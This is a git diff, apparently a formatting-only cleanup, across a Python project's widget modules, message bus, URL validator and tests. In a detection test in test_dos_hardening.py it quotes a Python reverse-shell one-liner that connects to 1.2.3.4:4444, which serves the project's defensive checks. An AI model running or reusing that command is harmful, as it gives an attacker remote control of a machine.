diff --git a/ee/widget/policy.py b/ee/widget/policy.py index e8ec8019..1c30e3c9 100644 --- a/ee/widget/policy.py +++ b/ee/widget/policy.py @@ -51,8 +51,8 @@ logger = logging.getLogger(__name__) # #941 graduation knobs DEFAULT_WINDOW_DAYS = 30 -DEFAULT_PIN_THRESHOLD = 10 # Promoting interactions in window → pin -DEFAULT_ARCHIVE_DAYS = 60 # Untouched longer than this → archive +DEFAULT_PIN_THRESHOLD = 10 # Promoting interactions in window → pin +DEFAULT_ARCHIVE_DAYS = 60 # Untouched longer than this → archive _PROMOTING_ACTIONS = ("open", "edit", "click") # #942 co-occurrence knobs diff --git a/ee/widget/projection.py b/ee/widget/projection.py index 063e96db..424afb5f 100644 --- a/ee/widget/projection.py +++ b/ee/widget/projection.py @@ -249,9 +249,7 @@ class WidgetProjection: if entry.action not in ALL_WIDGET_ACTIONS: return - payload: dict[str, Any] = ( - dict(entry.payload) if isinstance(entry.payload, dict) else {} - ) + payload: dict[str, Any] = dict(entry.payload) if isinstance(entry.payload, dict) else {} seq = getattr(entry, "seq", None) or 0 if seq > self._cursor: self._cursor = seq @@ -292,7 +290,7 @@ class WidgetProjection: # Evict oldest once we pass the cap — keep the tail (newest). if len(self._interactions) > self._max: overflow = len(self._interactions) - self._max - del self._interactions[: overflow] + del self._interactions[:overflow] # Co-occurrence fold — runs over the same events. self._maybe_record_pair(view) @@ -484,9 +482,7 @@ class WidgetProjection: since = datetime.now(UTC) - timedelta(days=window_days) interactions = [ - row.view - for row in self._interactions - if _ensure_aware(row.view.ts) >= since + row.view for row in self._interactions if _ensure_aware(row.view.ts) >= since ] if scope: interactions = [r for r in interactions if scope in r.scope] diff --git a/ee/widget/store.py b/ee/widget/store.py index f1a1af46..90e70f9f 100644 --- a/ee/widget/store.py +++ b/ee/widget/store.py @@ -351,9 +351,7 @@ class WidgetJournalStore: prev_entry, prev_seq = last try: - entry = entry.model_copy( - update={"prev_hash": _hash_link(prev_entry, prev_seq)} - ) + entry = entry.model_copy(update={"prev_hash": _hash_link(prev_entry, prev_seq)}) except Exception: # Match Journal.append's policy: a hash-link failure # is logged upstream and does not block the write. diff --git a/src/pocketpaw/bus/queue.py b/src/pocketpaw/bus/queue.py index ea67871d..939d2bb3 100644 --- a/src/pocketpaw/bus/queue.py +++ b/src/pocketpaw/bus/queue.py @@ -129,8 +129,7 @@ class MessageBus: raise # Re-raise to let gather capture it await asyncio.gather( - *[_safe_publish(i, sub) for i, sub in enumerate(subs)], - return_exceptions=True + *[_safe_publish(i, sub) for i, sub in enumerate(subs)], return_exceptions=True ) async def broadcast_outbound( @@ -146,9 +145,7 @@ class MessageBus: try: await self.publish_outbound(channel_msg) except Exception as e: - logger.error( - f"🚨 Broadcast to channel {channel.value} FAILED: {e}" - ) + logger.error(f"🚨 Broadcast to channel {channel.value} FAILED: {e}") # ========================================================================= # System Events (Internal) diff --git a/src/pocketpaw/security/url_validators.py b/src/pocketpaw/security/url_validators.py index 37fa189a..ff893d6d 100644 --- a/src/pocketpaw/security/url_validators.py +++ b/src/pocketpaw/security/url_validators.py @@ -13,16 +13,14 @@ _ALLOWED_SCHEMES: frozenset[str] = frozenset({"http", "https"}) # operator explicitly opts in via ``POCKETPAW_ALLOW_INTERNAL_URLS=true``. # Dev-mode defaults (`http://localhost:4096`, `http://localhost:11434`, …) # rely on this opt-in; OSS / production deployments should leave it off. -_BLOCKED_HOSTS: frozenset[str] = frozenset( - {"localhost", "ip6-localhost", "ip6-loopback"} -) +_BLOCKED_HOSTS: frozenset[str] = frozenset({"localhost", "ip6-localhost", "ip6-loopback"}) _BLOCKED_NETWORKS: tuple[ipaddress.IPv4Network | ipaddress.IPv6Network, ...] = ( ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), # link-local / EC2 metadata - ipaddress.ip_network("100.64.0.0/10"), # carrier-grade NAT + ipaddress.ip_network("100.64.0.0/10"), # carrier-grade NAT ipaddress.ip_network("0.0.0.0/8"), ipaddress.ip_network("::1/128"), ipaddress.ip_network("fc00::/7"), @@ -65,9 +63,7 @@ def validate_external_url(value: str) -> str: parts = urlsplit(value) if parts.scheme not in _ALLOWED_SCHEMES: - raise ValueError( - f"URL scheme '{parts.scheme or '(none)'}' not allowed — use http or https" - ) + raise ValueError(f"URL scheme '{parts.scheme or '(none)'}' not allowed — use http or https") if not parts.hostname: raise ValueError(f"URL has no host: {value!r}") diff --git a/tests/ee/test_widget_journal.py b/tests/ee/test_widget_journal.py index de2852d9..96c4e813 100644 --- a/tests/ee/test_widget_journal.py +++ b/tests/ee/test_widget_journal.py @@ -383,7 +383,7 @@ class TestCooccurrenceSignatureFix: assert sig_ab != "" def test_signature_is_empty_when_queries_collapse_to_same_tokens(self) -> None: - """"renewal discount" and "discount renewal" are the same + """ "renewal discount" and "discount renewal" are the same semantic question phrased two ways — the signature should collapse to empty so they don't spawn a fake co-occurrence suggestion (carry-over from #942's test). @@ -442,8 +442,7 @@ class TestCooccurrenceProjection: report = scan_for_cooccurrences(store.projection) assert report.scanned_pairs >= 1 assert any( - {c.widget_a, c.widget_b} == {"alpha_chart", "beta_chart"} - for c in report.candidates + {c.widget_a, c.widget_b} == {"alpha_chart", "beta_chart"} for c in report.candidates ) @@ -508,18 +507,14 @@ class TestIncrementalEqualsRebuild: ) live_usage = {(r.widget_name, r.surface) for r in live.projection.usage()} - live_grad = { - (r.widget_name, r.current_tier) for r in live.projection.graduation_state() - } + live_grad = {(r.widget_name, r.current_tier) for r in live.projection.graduation_state()} cold = WidgetJournalStore(journal, projection=WidgetProjection()) applied = cold.bootstrap() assert applied == 6 # 5 interactions + 1 graduation cold_usage = {(r.widget_name, r.surface) for r in cold.projection.usage()} - cold_grad = { - (r.widget_name, r.current_tier) for r in cold.projection.graduation_state() - } + cold_grad = {(r.widget_name, r.current_tier) for r in cold.projection.graduation_state()} assert cold_usage == live_usage assert cold_grad == live_grad @@ -559,6 +554,7 @@ class TestArchiveRule: # last_interaction was stamped slightly before that, so it # falls on the archive side. import time + time.sleep(0.01) # Guarantee archive_cutoff > last_interaction. report = scan_for_widget_graduations( store.projection, diff --git a/tests/ee/test_widget_track_endpoint.py b/tests/ee/test_widget_track_endpoint.py index 8f12ed8a..80f6ec87 100644 --- a/tests/ee/test_widget_track_endpoint.py +++ b/tests/ee/test_widget_track_endpoint.py @@ -359,11 +359,7 @@ class TestDownstreamProjection: res = client.get("/widgets/usage?window_days=30") assert res.status_code == 200 - rows = [ - r - for r in res.json()["entries"] - if r["widget_name"] == "metrics_chart" - ] + rows = [r for r in res.json()["entries"] if r["widget_name"] == "metrics_chart"] assert len(rows) == 1 assert rows[0]["count"] == 3 assert rows[0]["promoting_count"] == 2 diff --git a/tests/test_dos_hardening.py b/tests/test_dos_hardening.py index 126b7562..48d7700d 100644 --- a/tests/test_dos_hardening.py +++ b/tests/test_dos_hardening.py @@ -79,9 +79,7 @@ class TestRegexReDoSBudget: for p in COMPILED_DANGEROUS_PATTERNS: p.search(adversarial) elapsed = time.monotonic() - start - assert elapsed < 0.5, ( - f"regex scan took {elapsed:.3f}s on adversarial input — ReDoS" - ) + assert elapsed < 0.5, f"regex scan took {elapsed:.3f}s on adversarial input — ReDoS" def test_real_reverse_shell_still_detected(self): """The fix must not regress detection of actual reverse-shell @@ -93,7 +91,7 @@ class TestRegexReDoSBudget: cmd = ( "python -c 'import socket,os,pty;" "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" - "s.connect((\"1.2.3.4\",4444));" + 's.connect(("1.2.3.4",4444));' "os.dup2(s.fileno(),0)'" ) hit = any(p.search(cmd) for p in COMPILED_DANGEROUS_PATTERNS) diff --git a/tests/test_require_scope_enforcement.py b/tests/test_require_scope_enforcement.py index 0ac76908..79585456 100644 --- a/tests/test_require_scope_enforcement.py +++ b/tests/test_require_scope_enforcement.py @@ -57,9 +57,7 @@ class TestRequireScopeNoFullAccessMarker: def test_request_with_no_auth_markers_is_rejected(self): app = _build_app_with_state(api_key=None, oauth_token=None) resp = TestClient(app).get("/protected") - assert resp.status_code == 403, ( - "require_scope must fail closed when no auth marker is set" - ) + assert resp.status_code == 403, "require_scope must fail closed when no auth marker is set" def test_request_with_full_access_marker_is_allowed(self): app = _build_app_with_state(api_key=None, oauth_token=None, full_access=True) @@ -67,37 +65,27 @@ class TestRequireScopeNoFullAccessMarker: assert resp.status_code == 200 def test_apikey_without_required_scope_is_rejected(self): - app = _build_app_with_state( - api_key=_APIKey(scopes=["chat"]), oauth_token=None - ) + app = _build_app_with_state(api_key=_APIKey(scopes=["chat"]), oauth_token=None) resp = TestClient(app).get("/protected") assert resp.status_code == 403 def test_apikey_with_required_scope_is_allowed(self): - app = _build_app_with_state( - api_key=_APIKey(scopes=["memory"]), oauth_token=None - ) + app = _build_app_with_state(api_key=_APIKey(scopes=["memory"]), oauth_token=None) resp = TestClient(app).get("/protected") assert resp.status_code == 200 def test_apikey_with_admin_scope_is_allowed(self): - app = _build_app_with_state( - api_key=_APIKey(scopes=["admin"]), oauth_token=None - ) + app = _build_app_with_state(api_key=_APIKey(scopes=["admin"]), oauth_token=None) resp = TestClient(app).get("/protected") assert resp.status_code == 200 def test_oauth_without_required_scope_is_rejected(self): - app = _build_app_with_state( - api_key=None, oauth_token=_OAuthToken(scope="chat") - ) + app = _build_app_with_state(api_key=None, oauth_token=_OAuthToken(scope="chat")) resp = TestClient(app).get("/protected") assert resp.status_code == 403 def test_oauth_with_required_scope_is_allowed(self): - app = _build_app_with_state( - api_key=None, oauth_token=_OAuthToken(scope="memory chat") - ) + app = _build_app_with_state(api_key=None, oauth_token=_OAuthToken(scope="memory chat")) resp = TestClient(app).get("/protected") assert resp.status_code == 200